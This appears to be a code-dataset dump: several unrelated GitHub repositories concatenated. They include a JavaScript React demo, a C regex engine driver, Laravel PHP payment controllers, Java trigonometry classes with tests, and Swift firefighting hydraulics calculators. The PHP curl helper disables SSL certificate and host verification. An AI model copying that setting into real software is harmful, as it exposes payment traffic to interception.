branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<file_sep>const jsContainer = document.getElementById('js'); const reactContainer = document.getElementById('react'); const render = () => { jsContainer.innerHTML = ` <div class="demo"> Hello JS <input /> <p>${new Date()}</p> </div> `; ReactDOM.render( React.createElement( 'div', { className: 'demo' }, 'Hello React', React.createElement('input'), React.createElement('p', null, new Date().toString()) ), reactContainer ); }; setInterval(render, 1000); //We now have two nodes, one being controlled with the DOM Web API directly, and another being controlled with the React API (which in turn uses the DOM Web API). The only major difference between the ways we are building these two nodes in the browser is that in the JS version we used a string to represent the content, while in the React version we used pure JavaScript calls and represented the content with an object instead of a string. No matter how complicated the HTML User Interface is going to get, when using React, every HTML element will be represented with a JavaScript object using a React.createElement call.
1d859ee99dcee3b7ba04ba45fbb096d4f0bf48e6
[ "JavaScript" ]
1
JavaScript
danielkjm/react-demo
ac73a661b465ccf683d8b53865239df2e3f44d97
f48395da213de6571af9ca58404c2ca5475fbbd8
refs/heads/master
<repo_name>pfalcon/re1.5<file_sep>/main.c // Copyright 2007-2009 <NAME>. All Rights Reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. #include "re1.5.h" struct { char *name; int (*fn)(ByteProg*, Subject*, const char**, int, int); } tab[] = { {"recursive", re1_5_recursiveprog}, {"recursiveloop", re1_5_recursiveloopprog}, {"backtrack", re1_5_backtrack}, {"thompson", re1_5_thompsonvm}, {"pike", re1_5_pikevm}, }; #ifdef DEBUG int debug; #endif const char *re_engine; void usage(void) { fprintf(stderr, "Usage: re [-hmd] [-e ENGINE] <regexp> <string>...\n" "-h: Print help message and exit\n" "-m: String is anchored\n" "-e ENGINE: Specify one of: recursive recursiveloop backtrack thompson pike\n"); #ifdef DEBUG fprintf(stderr, "-d: Print debug messages\n"); #endif exit(2); } int main(int argc, char **argv) { int i, j, k, l; int is_anchored = 0; argv++; argc--; while (argc > 0 && argv[0][0] == '-') { char *arg; for (arg = &argv[0][1]; *arg; arg++) { switch (*arg) { case 'h': usage(); break; case 'm': is_anchored = 1; break; #ifdef DEBUG case 'd': debug = 1; break; #endif case 'e': if (argv[1] == NULL) re1_5_fatal("-e: Missing Regex engine argument"); if (re_engine) re1_5_fatal("-e: Regex engine already specified"); re_engine = argv[1]; argv++; argc--; break; default: re1_5_fatal("Unknown flag"); } } argv++; argc--; } if(argc < 2) usage(); #ifdef ODEBUG // Old and unmaintained code Regexp *re = parse(argv[0]); printre(re); printf("\n"); Prog *prog = compile(re); printprog(prog); printf("=============\n"); #endif int sz = re1_5_sizecode(argv[0]); #ifdef DEBUG if (debug) printf("Precalculated size: %d\n", sz); #endif if (sz == -1) { re1_5_fatal("Error in regexp"); } ByteProg *code = malloc(sizeof(ByteProg) + sz); int ret = re1_5_compilecode(code, argv[0]); if (ret != 0) { re1_5_fatal("Error in regexp"); } int sub_els = (code->sub + 1) * 2; #ifdef DEBUG if (debug) re1_5_dumpcode(code); #endif const char *sub[sub_els]; int engine_found = 0; for(i=1; i<argc; i++) { printf("#%d %s\n", i, argv[i]); for(j=0; j<nelem(tab); j++) { Subject subj = {argv[i], argv[i] + strlen(argv[i])}; if (re_engine) { if (0 != strcmp(re_engine, tab[j].name)) continue; engine_found = 1; } printf("%s ", tab[j].name); memset(sub, 0, sub_els * sizeof sub[0]); if(!tab[j].fn(code, &subj, sub, sub_els, is_anchored)) { printf("-no match-\n"); continue; } printf("match"); for(k=sub_els; k>0; k--) if(sub[k-1]) break; for(l=0; l<k; l+=2) { printf(" ("); if(sub[l] == nil) printf("?"); else printf("%d", (int)(sub[l] - argv[i])); printf(","); if(sub[l+1] == nil) printf("?"); else printf("%d", (int)(sub[l+1] - argv[i])); printf(")"); } printf("\n"); } if (re_engine && !engine_found) re1_5_fatal("-e: Unknown engine name"); } free(code); return 0; } <file_sep>/util.c // Copyright 2007-2009 <NAME>. All Rights Reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. #include "re1.5.h" void re1_5_fatal(char *msg) { fprintf(stderr, "fatal error: %s\n", msg); exit(2); } void* mal(int n) { void *v; v = malloc(n); if(v == nil) re1_5_fatal("out of memory"); memset(v, 0, n); return v; }
311ba0ce301da4ad02bc20163618e61691011a20
[ "C" ]
2
C
pfalcon/re1.5
dd37aa2a4f4742edcadff6e75124898c71d5dc89
7f0d19912d4c7afefac6576b552f013c14772d4e
refs/heads/main
<repo_name>jkumarmcse/ecommerce_skinet<file_sep>/API/Helpers/MappingProfiles.cs using API.Dtos; using AutoMapper; using Core.Entities; namespace API.Helpers { public class MappingProfiles : Profile { public MappingProfiles() { CreateMap<Product, ProductToReturnDto>() .ForMember(destination => destination.ProductBrand, o => o.MapFrom(source => source.ProductBrand.Name)) .ForMember(destination => destination.ProductType, o => o.MapFrom(source => source.ProductType.Name)) .ForMember(destination => destination.PictureUrl, o => o.MapFrom<ProductUrlResolver>()); } } }<file_sep>/client/src/app/shared/models/basket.ts import { ObjectUnsubscribedError } from 'rxjs'; import { v4 as uuidv4 } from 'uuid'; import { IBasketItem } from './basketItem'; export interface IBasket { id: string; items: IBasketItem[]; } export class Basket implements IBasket { id = uuidv4(); items: IBasketItem[] = []; } export interface IBasketTotal { shipping: number; total: number; subTotal: number; } <file_sep>/client/src/app/shared/components/paging-header/paging-header.component.html <header> <span *ngIf="this.totalCount && this.totalCount > 0">Showing <Strong>{{(pageNumber -1) * pageSize +1 }} - {{pageNumber * pageSize > this.totalCount ? this.totalCount : pageNumber * pageSize }} </Strong> of <strong>{{this.totalCount}}</strong> Results</span> <span *ngIf="this.totalCount ===0 "> There are <strong>no result for this filter</strong> </span> </header>
08544b73856fedb55d9ce74d2c467c24d08a56ba
[ "C#", "TypeScript", "HTML" ]
3
C#
jkumarmcse/ecommerce_skinet
91d29f7130c7842cab5e3080be87e9c04e1a9ee2
68657e0ffd20fc38fb45072e2a9a0e3b307e253f
refs/heads/master
<repo_name>Shiv9639/Trignometry<file_sep>/src/Trigo/Factorial.java package Trigo; public class Factorial { public static double calculate_fact(double d) { double fact=1; if(d<=1) {return 1;} else { for(int i=1;i<=d;i++) { fact=fact*i; } return fact; } } } <file_sep>/test/TrigoTest/TanTest.java package TrigoTest; import Trigo.*; import static org.junit.jupiter.api.Assertions.*; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; class TanTest { Trignometry tan; @BeforeEach void setUp() throws Exception { tan = new Tan(); } @AfterEach void tearDown() throws Exception { tan = null; } @Test public void testTanInRadianFirstQuad() { double actual = tan.calculate(1.309,"RADIAN"); assertEquals(Math.tan(1.309), actual,0.0001," Tan First Quad"); } @Test public void testTanInRadianSecondQuad() { double actual = tan.calculate(2.93215, "RADIAN"); assertEquals(Math.tan(2.93215), actual,0.0001," Tan Second Quad"); } @Test public void testTanInRadianThirdQuad() { double actual = tan.calculate(3.59538, "RADIAN"); assertEquals(Math.tan(3.59538), actual,0.0001," Tan Third Quad"); } @Test public void testTanInRadianFourthQuad() { double actual = tan.calculate(6.10865, "RADIAN"); assertEquals(Math.tan(6.10865), actual,0.0001," Tan Fourth Quad"); } @Test public void testtanDegreeFirstQuad() { double actual = tan.calculate(25, "DEGREE"); assertEquals(Math.tan(Math.toRadians(25)), actual,0.0001," tan First Quad"); } @Test public void testtanDegreeSecondQuad() { double actual = tan.calculate(100, "DEGREE"); assertEquals(Math.tan(Math.toRadians(100)), actual,0.0001," tan Second Quad"); } @Test public void testtanDegreeThirdQuad() { double actual = tan.calculate(250, "DEGREE"); assertEquals(Math.tan(Math.toRadians(250)), actual,0.0001," tan Third Quad"); } @Test public void testtanDegreeFourthQuad() { double actual = tan.calculate(345, "DEGREE"); assertEquals(Math.tan(Math.toRadians(345)), actual,0.0001," tan Fourth Quad"); } @Test public void testtan() { double actual = tan.calculate(0, "DEGREE"); assertEquals(Math.tan(Math.toRadians(0)), actual,0.0001); actual = tan.calculate(80, "DEGREE"); assertEquals(Math.tan(Math.toRadians(80)), actual,0.0001); actual = tan.calculate(170, "DEGREE"); assertEquals(Math.tan(Math.toRadians(170)), actual,0.0001); actual = tan.calculate(260, "DEGREE"); assertEquals(Math.tan(Math.toRadians(260)), actual,0.0001); actual = tan.calculate(350, "DEGREE"); assertEquals(Math.tan(Math.toRadians(350)), actual,0.0001); actual = tan.calculate(0, "RADIAN"); assertEquals(Math.tan(0), actual,0.0001); actual = tan.calculate(0.7853, "RADIAN"); assertEquals(Math.tan(0.7853), actual,0.0001); actual = tan.calculate(2.4085, "RADIAN"); assertEquals(Math.tan(2.4085), actual,0.0001); actual = tan.calculate(3.4033, "RADIAN"); assertEquals(Math.tan(3.4033), actual,0.0001); actual = tan.calculate(5.4454, "RADIAN"); assertEquals(Math.tan(5.4454), actual,0.0001); } } <file_sep>/src/Trigo/Tan.java package Trigo; import Trigo.*; public class Tan extends Trignometry{ @Override public double calculate(double input, String s) { double angleInRadian=input; Trignometry sin=new Sin(); Trignometry cos=new Cos(); double numerator=sin.calculate(input,s); double denominator=cos.calculate(input,s); return (numerator/denominator); } } <file_sep>/src/Trigo/Main.java package Trigo; public class Main { public static void main(String args[]) { Trignometry sin=new Sin(); Trignometry cos=new Cos(); Trignometry tan=new Tan(); System.out.println(sin.calculate(77,"DEGREE")); System.out.println(cos.calculate(77,"DEGREE")); System.out.println(tan.calculate(77,"DEGREE")); } } <file_sep>/src/Trigo/Sin.java package Trigo; import Trigo.Factorial; public class Sin extends Trignometry{ private int numOfTerms=10; public void Sin() { } @Override public double calculate(double input, String s) { double angleInRadian=input; if(s.equals("DEGREE")) { angleInRadian=degreeToRadian(angleInRadian); } double sum=angleInRadian; for(int i=1;i<=numOfTerms;i++) { sum=sum+Math.pow(-1,i)*Math.pow(angleInRadian,2*i+1)/Factorial.calculate_fact(2*i+1); } return sum ; } }
cb7785d52d0cfd7825bc8bf928918a80153a7dcf
[ "Java" ]
5
Java
Shiv9639/Trignometry
b55b002f38d51f56d300c6ceccc60fa82e7b99ff
932ca5cbb77c35e015033e2bdad1135501932430
refs/heads/master
<file_sep><?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::get('/', function () { return view('welcome'); }); //登录接口 Route::any('login','Home\UserController@login'); //注册接口 Route::any('register','Home\UserController@register'); //退出接口 Route::any('secede','Home\UserController@secede'); //微信支付 Route::any('weiXin','Home\WeiXinController@weiXin'); //支付宝支付接口 Route::any('aliPay','Home\AliPayController@aliPay');<file_sep><?php namespace App\Http\Controllers\Home; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class WeiXinController extends Controller { //微信支付接口 public function weiXin(Request $request){ $arr=$request->all(); $url="http://passport.nanyang128.club/wxPay"; $data=[ 'username'=>$arr['username'], 'order_no'=>$arr['order_no'], 'money'=>$arr['money'] ]; $api_data=$this->curlRequest($url,$data); print_r($api_data); } /** 使用curl方式实现get或post请求 @param $url 请求的url地址 @param $data 发送的post数据 如果为空则为get方式请求 return 请求后获取到的数据 */ function curlRequest($url,$data = ''){ $ch = curl_init(); $params[CURLOPT_URL] = $url; //请求url地址 $params[CURLOPT_HEADER] = false; //是否返回响应头信息 $params[CURLOPT_RETURNTRANSFER] = true; //是否将结果返回 $params[CURLOPT_FOLLOWLOCATION] = true; //是否重定向 $params[CURLOPT_TIMEOUT] = 30; //超时时间 if(!empty($data)){ $params[CURLOPT_POST] = true; $params[CURLOPT_POSTFIELDS] = $data; } $params[CURLOPT_SSL_VERIFYPEER] = false;//请求https时设置,还有其他解决方案 $params[CURLOPT_SSL_VERIFYHOST] = false;//请求https时,其他方案查看其他博文 curl_setopt_array($ch, $params); //传入curl参数 $content = curl_exec($ch); //执行 curl_close($ch); //关闭连接 return $content; } } <file_sep><?php namespace App\Http\Controllers\Home; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class AliPayController extends Controller { //hbuilder支付宝接口 public function aliPay(Request $request){ $data=$request->all(); print_r($data); } }
5e34a7606a4a69bdf4e05a0c2d703c89feae4971
[ "PHP" ]
3
PHP
nanyang128/Api
bc88e088484a90ea3587a95f5690909b4daf2700
a987d610af3c33c53e61206d08787fd54a64cc22
refs/heads/master
<repo_name>ShahanaPB/Story-Strap<file_sep>/src/routes/addbookRoutes.js // const express=require('express'); // const addbookRouter=express.Router(); // function router5(nav){ // addbookRouter.get('/',function(req,res){ // res.render("addbook", // { // nav,title:'Library' // }); // }); // return addbookRouter; // } // module.exports=router5; const express=require('express'); const addbookRouter=express.Router(); const Bookdata=require('../model/bookdata') function router5(nav){ addbookRouter.get('/',function(req,res){ res.render('addbook',{ nav,title:'Library' }) }) addbookRouter.post('/add',function(req,res){ var item={ title:req.body.title, author:req.body.author, genre:req.body.genre, image:req.body.image } var book= Bookdata(item); book.save(); res.redirect('/books'); }); // addbookRouter.get('/delete/:id',function(req,res){ // const id=req.params.id; // Bookdata.findOne({_id:id}) // .then(function(book){ // res.render('deletebook',{ // nav,title:'Library',book // }); // }) // }); addbookRouter.get('/delete/:id',function(req,res){ const id=req.params.id; Bookdata.deleteOne({_id:id}) .then(function(book){ res.render('',{ nav,title:'Library',book }); res.redirect('/books'); }) }); return addbookRouter; } module.exports=router5; <file_sep>/README.md "# Story-Strap" "# Library-App" <file_sep>/public/images/js/addbook.js // function showFiles(){ // let inputfield=document.getElementById("input"); // let file=inputfield.files; // let fileReader=new FileReader; // fileReader.readAsText(file[0]); // }<file_sep>/src/routes/updateRoutes.js const express=require('express'); const updateRouter=express.Router(); const Bookdata=require('../model/bookdata') function router5(nav){ updateRouter.get('/edit/:id',function(req,res){ const id=req.params.id; Bookdata.findById({_id:id}) .then(function(book){ res.render('editbook',{ nav,title:'Library',book }); }) }); updateRouter.get('/:id',function(req,res){ const id=req.params.id; var item={ title:req.body.title, author:req.body.author, genre:req.body.genre, image:req.body.image } Bookdata.findByIdAndUpdate({_id:id},item,function(req,res){ }); res.redirect('/books'); }) return updateRouter; } module.exports=router5;<file_sep>/src/routes/signupRoutes.js // const express=require('express'); // const signupRouter=express.Router(); // function router4(nav){ // signupRouter.get('/',function(req,res){ // res.render("signup", // { // nav,title:'Library' // }); // }); // return signupRouter; // } // module.exports=router4; const express=require('express'); const signupRouter=express.Router(); const Signupdata=require('../model/signupdata') function router4(nav){ signupRouter.get('/',function(req,res){ res.render('signup',{ nav,title:'Library' }) }) signupRouter.post('/add',function(req,res){ var item={ firstname:req.body.firstname, lastname:req.body.lastname, dob:req.body.dob, male:req.body.male, female:req.body.female, other:req.body.other, email:req.body.email, password:<PASSWORD>, mobile:req.body.mobile, city:req.body.city, state:req.body.state } var signup= Signupdata(item); signup.save(); res.redirect('/login'); }); return signupRouter; } module.exports=router4; <file_sep>/src/routes/bookRoutes.js const express=require('express'); const booksRouter=express.Router(); const Bookdata=require('../model/bookdata'); function router1(nav){ // var books=[ // { // title:'Tom and Jerry', // author:'<NAME>', // genre:'Cartoon', // img:"tom.jpg" // }, // { // title:'Harry Potter', // author:'<NAME>', // genre:'Fantasy', // img:"harry.jpg" // }, // { // title:'Alchemist', // author:'<NAME>', // genre:'novel', // img:"alchemist.jpg" // } // ] booksRouter.get('/',function(req,res){ Bookdata.find() .then(function(books){ res.render("books", { nav,title:'Library',books }); }) }); booksRouter.get('/:id',function(req,res){ const id=req.params.id; Bookdata.findOne({_id:id}) .then(function(book){ res.render('book',{ nav, title:'Library', book }); }) }); return booksRouter; } module.exports=router1;
4b3d97d5a28d1c1a57a1a86212b95b436f64823b
[ "JavaScript", "Markdown" ]
6
JavaScript
ShahanaPB/Story-Strap
04f796d56eee9f99c64bc0c8c0c184f307c898d7
2c1ae9e27aecb44a6ee2e6f2c5281fa2a33e319b
refs/heads/main
<repo_name>Danyribeiro/microservices-project<file_sep>/README.md # Microservices-project Projeto desenvolvido com arquitetura baseada em microsserviços usando Spring Cloud. <file_sep>/product-catalog/src/main/java/com/one/digital/innovation/experts/product/catalog/repository/ProductRepository.java package com.one.digital.innovation.experts.product.catalog.repository; import com.one.digital.innovation.experts.product.catalog.model.Product; import org.springframework.data.repository.CrudRepository; public interface ProductRepository extends CrudRepository<Product, Integer> { Iterable<Product> findByName(String name); }
5d5f0bfbcd4b3fdcdea8fa831667bc9bde9bc05d
[ "Markdown", "Java" ]
2
Markdown
Danyribeiro/microservices-project
e50105feda309a691168a6bee06f53d4174d9de0
9d530d4aa46932d27ecec465639254b19c2f1bf6
refs/heads/master
<file_sep>// // FrictionLossViewController.swift // brass // // Created by <NAME> on 3/15/17. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit class FrictionLossViewController: UIViewController { @IBOutlet weak var firstField: UITextField! @IBOutlet weak var secondField: UITextField! @IBOutlet weak var thirdField: UITextField! @IBOutlet weak var fourthField: UITextField! @IBOutlet weak var ansLabel: UILabel! @IBOutlet weak var segmentedControl: UISegmentedControl! @IBOutlet weak var firstLabel: UILabel! @IBOutlet weak var secondLabel: UILabel! @IBOutlet weak var thirdLabel: UILabel! @IBOutlet weak var fourthLabel: UILabel! @IBOutlet weak var fourthSection: UIView! @IBOutlet weak var formulasLabel: UILabel! override func viewDidLoad() { super.viewDidLoad() self.fourthSection.isHidden = true self.formatFormulaLabel() // set background image let width = UIScreen.main.bounds.size.width let height = UIScreen.main.bounds.size.height let imageViewBackground = UIImageView(frame: CGRect(x:0, y:0, width: width, height: height)) imageViewBackground.image = UIImage(named: "brass_background_black_vertical.jpg") imageViewBackground.contentMode = UIViewContentMode.scaleAspectFill self.view.addSubview(imageViewBackground) self.view.sendSubview(toBack: imageViewBackground) self.set_initial_defaults() } override var preferredStatusBarStyle: UIStatusBarStyle { return .lightContent } override func viewDidAppear(_ animated: Bool) { self.set_initial_defaults() } func set_initial_defaults() { // default is NFA self.segmentedControl.selectedSegmentIndex = 0 // NFA self.formulasLabel.text = "Fire Flow = [(L * W) % 3] * Percent Involvement" self.fourthSection.isHidden = true // default labels self.firstLabel.text = "LENGTH (FT)" // length self.secondLabel.text = "WIDTH (FT)" // width self.thirdLabel.text = "PERCENT INVOLVEMENT (%)" // percent involvement // default values self.firstField.text = "30" // length (30') self.secondField.text = "50" // width (50') self.thirdField.text = "25" // percent involvement for NFA (25%) self.fourthField.text = "25" // percent involvement for Iowa (25%) } func formatFormulaLabel() { // check height of label let screen = UIScreen.main.bounds print("screen height:", screen.height) if (screen.height < 600) { // 5s or smaller self.formulasLabel.isHidden = true } } @IBAction func pressedSegmentedControl(_ sender: Any) { if (self.segmentedControl.selectedSegmentIndex == 0) { // NFA self.fourthSection.isHidden = true self.formulasLabel.text = "Fire Flow = [(L * W) % 3] * Percent Involvement" self.firstLabel.text = "LENGTH (FT)" self.secondLabel.text = "WIDTH (FT)" self.thirdLabel.text = "PERCENT INVOLVEMENT (%)" self.firstField.text = "30" // default length self.secondField.text = "50" // default width self.thirdField.text = "25" // default percentage involvement self.ansLabel.text = "GPM" // default answer } else { // Iowa self.fourthSection.isHidden = false self.formulasLabel.text = "Required Volume = [(L * W * H) % 100] * Percent Involvement" self.firstLabel.text = "LENGTH (FT)" self.secondLabel.text = "WIDTH (FT)" self.thirdLabel.text = "HEIGHT (FT)" self.firstField.text = "30" // default length self.secondField.text = "50" // default width self.thirdField.text = "10" // default height self.fourthField.text = "25" // default percentage self.ansLabel.text = "GPM" // default answer } } @IBAction func pressedCalculate(_ sender: Any) { if (self.segmentedControl.selectedSegmentIndex == 0) { // NFA let width = Double(self.firstField.text!)! let height = Double(self.secondField.text!)! let percent = Double(self.thirdField.text!)! let ans = width * height / 3 * (percent / 100) self.ansLabel.text = String(roundNumber(number: ans)) + " GPM" } else { // Iowa let length = Double(self.firstField.text!)! let width = Double(self.secondField.text!)! let height = Double(self.thirdField.text!)! let percent = Double(self.fourthField.text!)! let ans = (width * height * length) / 100 * (percent / 100) self.ansLabel.text = String(roundNumber(number: ans)) + " GPM" } } func roundNumber (number: Double) -> Double { let y = Double(round(10*number)/10) return y } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>// // PumpDischargePressureViewController.swift // brass // // Created by <NAME> on 4/15/17. // Copyright © 2017 <NAME>. All rights reserved. // // TODO ask about PDP field order, makes sense in firefighting order? or in equation order? import UIKit class PumpDischargePressureViewController: UIViewController { @IBOutlet weak var firstLabel: UILabel! @IBOutlet weak var firstField: UITextField! @IBOutlet weak var secondLabel: UILabel! @IBOutlet weak var secondField: UITextField! @IBOutlet weak var thirdLabel: UILabel! @IBOutlet weak var thirdField: UITextField! @IBOutlet weak var fourthLabel: UILabel! @IBOutlet weak var fourthField: UITextField! @IBOutlet weak var ansLabel: UILabel! @IBOutlet weak var segmentedControl: UISegmentedControl! @IBOutlet weak var formulaLabel: UILabel! @IBOutlet weak var formulaView: UIView! @IBOutlet weak var nozzlePressureSegmentedControl: UISegmentedControl! @IBOutlet weak var hoseDiameterSegmentedControl: UISegmentedControl! @IBOutlet weak var thirdView: UIView! @IBOutlet weak var fourthView: UIView! // constraints between views var coef = 1.0 override func viewDidLoad() { super.viewDidLoad() // check screen size, see if formula label fits formatFormulaLabel() // segmented controls don't have white corners self.nozzlePressureSegmentedControl.layer.borderWidth = 1.0 self.nozzlePressureSegmentedControl.layer.cornerRadius = 6.0 self.hoseDiameterSegmentedControl.layer.borderWidth = 1.0 self.hoseDiameterSegmentedControl.layer.cornerRadius = 6.0 // set defaults self.nozzlePressureSegmentedControl.isHidden = false self.secondField.isHidden = true self.hoseDiameterSegmentedControl.isHidden = false self.fourthField.isHidden = true self.hoseDiameterSegmentedControl.selectedSegmentIndex = 1 // default Hose Diameter self.nozzlePressureSegmentedControl.selectedSegmentIndex = 0 // default Nozzle Pressure // set background image let width = UIScreen.main.bounds.size.width let height = UIScreen.main.bounds.size.height let imageViewBackground = UIImageView(frame: CGRect(x:0, y:0, width: width, height: height)) imageViewBackground.image = UIImage(named: "brass_background_black_vertical.jpg") imageViewBackground.contentMode = UIViewContentMode.scaleAspectFill self.view.addSubview(imageViewBackground) self.view.sendSubview(toBack: imageViewBackground) set_initial_defaults() } override var preferredStatusBarStyle: UIStatusBarStyle { return .lightContent } override func viewDidAppear(_ animated: Bool) { self.set_initial_defaults() } func set_initial_defaults() { self.segmentedControl.selectedSegmentIndex = 0 // default is Std. Flow // default views self.nozzlePressureSegmentedControl.isHidden = false self.fourthField.isHidden = true self.hoseDiameterSegmentedControl.isHidden = false self.secondField.isHidden = true // default labels self.firstLabel.text = "DISCHARGE FLOW (GPM)" // TODO ask if this is okay to have as a typing field instead of a picker view self.secondLabel.text = "HOSE DIAMETER (IN)" self.thirdLabel.text = "HOSE LENGTH (FT)" self.formulaLabel.text = "PDP = FL + NP = CL(Q)^2 + NP" // default values self.firstField.text = "150" // flow rate (gpm) default 150 self.hoseDiameterSegmentedControl.selectedSegmentIndex = 1 // Hose Diameter default (1-3/4") self.thirdField.text = "200" // Hose Length default 200 self.nozzlePressureSegmentedControl.selectedSegmentIndex = 0 // Nozzle Pressure default 50 // default coef for 1-3/4" self.coef = 15.5 } func formatFormulaLabel() { // TODO // check height of label let screen = UIScreen.main.bounds print("screen height:", screen.height) if (screen.height < 600) { // 5s or smaller self.formulaLabel.isHidden = true } } func roundNumber (number: Double) -> Double { let y = Double(round(1*number)/1) return y } @IBAction func segmentedControlPressed(_ sender: Any) { print(segmentedControl.selectedSegmentIndex) if (self.segmentedControl.selectedSegmentIndex == 1) { // standard - friction loss self.nozzlePressureSegmentedControl.isHidden = true self.fourthField.isHidden = false self.hoseDiameterSegmentedControl.isHidden = true self.secondField.isHidden = false self.firstLabel.text = "FRICTION LOSS (PSI)" self.secondLabel.text = "NUMBER OF FLOORS" self.thirdLabel.text = "APPLIANCE" self.formulaLabel.text = "PDP = FL + (EL-1)*5 + AP + NP" // defaults self.firstField.text = "50" // default Friction Loss self.secondField.text = "1" // default Number of Floors self.thirdField.text = "5" // default Appliance self.fourthField.text = "50" // default Nozzle Pressure self.ansLabel.text = "PSI" // default answer } else if (self.segmentedControl.selectedSegmentIndex == 2){ // highrise self.nozzlePressureSegmentedControl.isHidden = true self.fourthField.isHidden = false self.hoseDiameterSegmentedControl.isHidden = true self.secondField.isHidden = false self.firstLabel.text = "FL SUPPLY HOSE (PSI)" self.secondLabel.text = "NUMBER OF FLOORS" self.thirdLabel.text = "FL ATTACK HOSE (PSI)" self.formulaLabel.text = "PDP = NP + FL(standpipe) + 25(standpipe) + 5*(EL-1) + FL(hose)" // defaults self.firstField.text = "15" // default Friction Loss (Supply Hose) self.secondField.text = "2" // default Number of Floors self.thirdField.text = "50" // default Friction Loss Attack Hose self.fourthField.text = "50" // default Nozzle Pressure self.ansLabel.text = "PSI" // default answer } else { // standard - flow self.nozzlePressureSegmentedControl.isHidden = false self.fourthField.isHidden = true self.hoseDiameterSegmentedControl.isHidden = false self.secondField.isHidden = true self.firstLabel.text = "DISCHARGE FLOW (GPM)" // TODO ask if this is okay to have as a typing field instead of a picker view self.secondLabel.text = "HOSE DIAMETER (IN)" self.thirdLabel.text = "HOSE LENGTH (FT)" self.formulaLabel.text = "PDP = FL + NP = CL(Q)^2 + NP" // defaults self.firstField.text = "150" // default Discharge Flow self.hoseDiameterSegmentedControl.selectedSegmentIndex = 1 // default Hose Diameter self.thirdField.text = "200" // default Hose Length self.nozzlePressureSegmentedControl.selectedSegmentIndex = 0 // default Nozzle Pressure self.ansLabel.text = "PSI" // default answer } } @IBAction func pressedCalculate(_ sender: Any) { print("coef: " + self.coef.description) if (self.segmentedControl.selectedSegmentIndex == 1) { // standard - friction loss let frictionLoss = Double(self.firstField.text!)! let elevation = Double(self.secondField.text!)! let appliance = Double(self.thirdField.text!)! let nozzlePresure = Double(self.fourthField.text!)! // Normal: PDP (aka EP) = NP + FL + AP +/- EL let sum = nozzlePresure + frictionLoss + appliance + (elevation-1)*5 self.ansLabel.text = String(sum) + " PSI" } else if (self.segmentedControl.selectedSegmentIndex == 2){ // highrise let frictionLossSupplyHose = Double(self.firstField.text!)! let elevation = Double(self.secondField.text!)! let frictionLossAttackHose = Double(self.thirdField.text!)! let nozzlePresure = Double(self.fourthField.text!)! let frictionLossStandpipe = 25.0 // Highrise: PDP (aka EP) = NP + FL (connection/standpipe) + 25 (connection/standpipe) + 5*(EL-1) + FL (hose) let sum = nozzlePresure + frictionLossSupplyHose + frictionLossStandpipe + frictionLossAttackHose + (elevation-1)*5 self.ansLabel.text = String(sum) + " PSI" } else { // standard - flow let gpm = Double(self.firstField.text!)! let hoseLength = Double(self.thirdField.text!)! let nozzlePressure = Double(self.nozzlePressureSegmentedControl.titleForSegment(at: nozzlePressureSegmentedControl.selectedSegmentIndex)!)! let frictionLoss = coef * pow((gpm/100),2) * (hoseLength/100) let ans = frictionLoss + nozzlePressure self.ansLabel.text = String(roundNumber(number:ans)) + " PSI" } } @IBAction func selectedHoseDiameter(_ sender: Any) { let arr = [1.5, 1.75, 2.5] let diameter = arr[hoseDiameterSegmentedControl.selectedSegmentIndex] if (diameter == 1.5) { print("coef = 24") coef = 24 } else if (diameter == 1.75) { coef = 15.5 print("coef = 15.5") } else if (diameter == 2.5) { coef = 2 print("coef = 2") } else { print("no coef found") } // redo alert let redo_alert = UIAlertController(title: "Oops!", message: "Coefficient must be a positive number", preferredStyle: UIAlertControllerStyle.alert) // change coefficient alert let alert = UIAlertController(title: "Coefficient: " + coef.description, message: "Do you want to change the coefficient?", preferredStyle: UIAlertControllerStyle.alert) // more redo alert stuff let enter_coef_again = UIAlertAction(title: "Enter coefficient", style: .default) { (_) in self.present(alert, animated: true, completion: nil) } redo_alert.addAction(enter_coef_again) redo_alert.addAction(UIAlertAction(title: "Use default coefficient", style: UIAlertActionStyle.default, handler: nil)) // more change coefficient alert stuff let confirmAction = UIAlertAction(title: "Apply new coefficient", style: .default) { (_) in if let field = alert.textFields![0] as? UITextField { let newCoefStr = field.text if let newCoef = Double(newCoefStr!) { print(newCoef) if (newCoef <= 0) { print("Error: new coef must be >= 0") self.present(redo_alert, animated: true, completion: nil) } else { self.coef = newCoef print("success, new coef " + self.coef.description + " applied") // success alert let success_alert = UIAlertController(title: "Success!", message: "Using coefficient: " + self.coef.description, preferredStyle: UIAlertControllerStyle.alert) success_alert.addAction(UIAlertAction(title: "Done", style: UIAlertActionStyle.default, handler: nil)) self.present(success_alert, animated: true, completion: nil) } } else { print("could not be converted to a double") self.present(redo_alert, animated: true, completion: nil) } } else { print("Enter new coefficient: ") } } alert.addAction(confirmAction) alert.addAction(UIAlertAction(title: "No, use current coefficient", style: UIAlertActionStyle.default, handler: nil)) alert.addTextField(configurationHandler: {(textField: UITextField!) in textField.placeholder = "Enter different coefficient:" textField.isSecureTextEntry = false }) self.present(alert, animated: true, completion: nil) } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>// // ViewController.swift // brass // // Created by <NAME> on 2/1/17. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit import Font_Awesome_Swift class ViewController: UIViewController, UIPickerViewDelegate, UIPickerViewDataSource { @IBOutlet weak var calculateButton: UIButton! @IBOutlet weak var pickerView: UIPickerView! let maroon:UIColor! = UIColor(red: 0.25, green: 0.01, blue: 0.01, alpha: 1.0) var diameters = ["2.5\"", "3\"", "4\"", "5\"", "6\""] override func viewDidLoad() { super.viewDidLoad() self.pickerView.delegate = self self.pickerView.dataSource = self self.calculateButton.backgroundColor = self.maroon 